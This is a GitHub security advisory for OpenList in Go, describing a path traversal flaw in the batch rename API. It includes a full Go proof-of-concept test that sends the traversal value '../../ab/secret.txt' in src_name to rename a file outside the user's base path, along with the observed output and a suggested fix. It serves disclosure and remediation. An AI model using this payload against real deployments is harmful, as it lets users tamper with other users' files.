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OpenList: Authenticated users can rename files outside their base path via batch rename `src_name` traversal

High severity GitHub Reviewed Published Jul 23, 2026 in OpenListTeam/OpenList • Updated Jul 24, 2026

Package

gomod github.com/OpenListTeam/OpenList/v4 (Go)

Affected versions

<= 4.2.3

Patched versions

4.2.4

Description

Summary

The /api/fs/batch_rename handler validates and authorizes only the requested source directory. It rejects path separators in new_name, but it does not validate src_name. The handler concatenates src_dir and attacker-controlled src_name, then passes the result to the filesystem rename layer, where the path is normalized.

An authenticated user with rename permission can set src_name to traversal segments such as ../../ab/secret.txt. When the user's base path is /team/a and src_dir is /writable, the authorized directory becomes /team/a/writable, but the final source path normalizes to /team/ab/secret.txt. The file outside the user's base path is then renamed.

Details

The HTTP API registers filesystem management routes under the authenticated group:

  • server/router.go:104 registers _fs(auth.Group("/fs")).
  • server/router.go:198 through server/router.go:205 expose /api/fs/batch_rename.

The vulnerable code is in server/handles/fsbatch.go:

  • src_dir is constrained through user.JoinPath(req.SrcDir) (server/handles/fsbatch.go:170 through server/handles/fsbatch.go:174).
  • Write permission is checked only for that constrained directory (server/handles/fsbatch.go:176 through server/handles/fsbatch.go:185).
  • The loop checks renameObject.NewName with checkRelativePath, but does not check renameObject.SrcName (server/handles/fsbatch.go:186 through server/handles/fsbatch.go:194).
  • The handler builds filePath := fmt.Sprintf("%s/%s", reqPath, renameObject.SrcName) and passes it to fs.Rename (server/handles/fsbatch.go:195 through server/handles/fsbatch.go:196).

The single-file rename path shows the intended pattern: checkRelativePath(req.Name) rejects separators, empty strings, ., and .. before renaming (server/handles/fsmanage.go:284 through server/handles/fsmanage.go:333). Batch rename applies this protection to the destination name only, not to the source name.

Lower layers normalize the source path before operating on it:

  • utils.FixAndCleanPath replaces backslashes with slashes, forces an absolute slash prefix, and calls path.Clean (pkg/utils/path.go:18 through pkg/utils/path.go:24).
  • JoinBasePath rejects traversal in the original src_dir, not in the later concatenated src_name (pkg/utils/path.go:80 through pkg/utils/path.go:87).

False-positive checks performed:

  • The user in the PoC had only normal authenticated user role plus rename permission, not admin role.
  • The handler successfully authorized /team/a/writable, then renamed /team/ab/secret.txt, proving that the later source path escaped the authorized directory.
  • new_name validation remained in effect; the exploit uses traversal only in src_name.
  • The test checked the original sibling file disappeared and the renamed sibling file contained the same contents.

PoC

Safe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules.

Add this temporary test under server/handles/security_poc_test.go in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests.

package handles

import (
    "bytes"
    "context"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "os"
    "path/filepath"
    "strings"
    "testing"

    _ "github.com/OpenListTeam/OpenList/v4/drivers/local"
    "github.com/OpenListTeam/OpenList/v4/internal/conf"
    "github.com/OpenListTeam/OpenList/v4/internal/db"
    "github.com/OpenListTeam/OpenList/v4/internal/model"
    "github.com/OpenListTeam/OpenList/v4/internal/op"
    "github.com/OpenListTeam/OpenList/v4/pkg/utils"
    "github.com/gin-gonic/gin"
    "github.com/glebarez/sqlite"
    "gorm.io/gorm"
)

func setupSecurityPoCTest(t *testing.T, root string) *model.User {
    t.Helper()
    database, err := gorm.Open(sqlite.Open("file:"+t.Name()+"?mode=memory&cache=shared"), &gorm.Config{})
    if err != nil {
        t.Fatal(err)
    }
    conf.Conf = conf.DefaultConfig(t.TempDir())
    db.Init(database)

    addition, err := utils.Json.MarshalToString(map[string]string{"root_folder_path": root})
    if err != nil {
        t.Fatal(err)
    }
    _, err = op.CreateStorage(context.Background(), model.Storage{Driver: "Local", MountPath: "/", Addition: addition})
    if err != nil {
        t.Fatal(err)
    }

    user := &model.User{
        Username:   "alice",
        BasePath:   "/team/a",
        Role:       model.GENERAL,
        Permission: 1<<4 | 1<<14,
    }
    if err := db.CreateUser(user); err != nil {
        t.Fatal(err)
    }
    return user
}

func requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) {
    t.Helper()
    payload, err := json.Marshal(body)
    if err != nil {
        t.Fatal(err)
    }
    recorder := httptest.NewRecorder()
    ctx, _ := gin.CreateTestContext(recorder)
    req := httptest.NewRequest(method, target, bytes.NewReader(payload))
    req.Header.Set("Content-Type", "application/json")
    req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user))
    ctx.Request = req
    return ctx, recorder
}

func TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) {
    gin.SetMode(gin.TestMode)
    root := t.TempDir()
    if err := os.MkdirAll(filepath.Join(root, "team", "a", "writable"), 0o700); err != nil {
        t.Fatal(err)
    }
    if err := os.MkdirAll(filepath.Join(root, "team", "ab"), 0o700); err != nil {
        t.Fatal(err)
    }
    secretPath := filepath.Join(root, "team", "ab", "secret.txt")
    if err := os.WriteFile(secretPath, []byte("secret"), 0o600); err != nil {
        t.Fatal(err)
    }
    user := setupSecurityPoCTest(t, root)

    ctx, recorder := requestWithUser(t, http.MethodPost, "/api/fs/batch_rename", gin.H{
        "src_dir": "/writable",
        "rename_objects": []gin.H{{
            "src_name": "../../ab/secret.txt",
            "new_name": "renamed.txt",
        }},
    }, user)
    FsBatchRename(ctx)

    if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `"code":200`) {
        t.Fatalf("expected batch rename success, status=%d body=%s", recorder.Code, recorder.Body.String())
    }
    if _, err := os.Stat(secretPath); !os.IsNotExist(err) {
        t.Fatalf("expected original sibling file to be renamed, stat err=%v", err)
    }
    renamedPath := filepath.Join(root, "team", "ab", "renamed.txt")
    got, err := os.ReadFile(renamedPath)
    if err != nil {
        t.Fatalf("expected renamed sibling file at %s: %v", renamedPath, err)
    }
    if string(got) != "secret" {
        t.Fatalf("unexpected renamed file contents: %q", got)
    }
}

Run:

go test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v

Observed vulnerable output in this environment:

=== RUN   TestPOCBatchRenameSrcNameTraversalEscapesUserBase
--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)
PASS
ok  	github.com/OpenListTeam/OpenList/v4/server/handles

Combined final confirmation command used during the audit:

go test ./server/handles -run 'TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)' -v

Observed combined output:

=== RUN   TestPOCShareCreateAcceptsSiblingPathOutsideUserBase
--- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s)
=== RUN   TestPOCBatchRenameSrcNameTraversalEscapesUserBase
--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)
PASS
ok  	github.com/OpenListTeam/OpenList/v4/server/handles	(cached)

Negative/control cases checked:

  • src_dir traversal is rejected by user.JoinPath because JoinBasePath detects relative traversal in the original request path.
  • new_name traversal is rejected by checkRelativePath because it contains /, \\, ., or .. patterns.
  • The exploit succeeds because src_name is not passed through the same relative filename check before concatenation.

Cleanup:

rm server/handles/security_poc_test.go

Impact

A restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to /team/a can rename a guessed sibling file such as /team/ab/secret.txt to /team/ab/renamed.txt by submitting traversal segments in src_name.

This is an integrity violation against other users' files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses.

Suggested remediation

Validate renameObject.SrcName with the same relative filename constraints already applied to renameObject.NewName, or derive source objects only from a trusted directory listing of reqPath.

A minimal fix is to call checkRelativePath(renameObject.SrcName) before constructing filePath. Add regression tests covering:

  • src_name: "file.txt" succeeds;
  • src_name: "../secret.txt" is denied;
  • src_name: "../../ab/secret.txt" is denied when base path is /team/a and src_dir is /writable;
  • new_name traversal remains denied.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

References

@xrgzs xrgzs published to OpenListTeam/OpenList Jul 23, 2026
Published to the GitHub Advisory Database Jul 24, 2026
Reviewed Jul 24, 2026
Last updated Jul 24, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-95cv-r8x4-vh75

Source code

Credits

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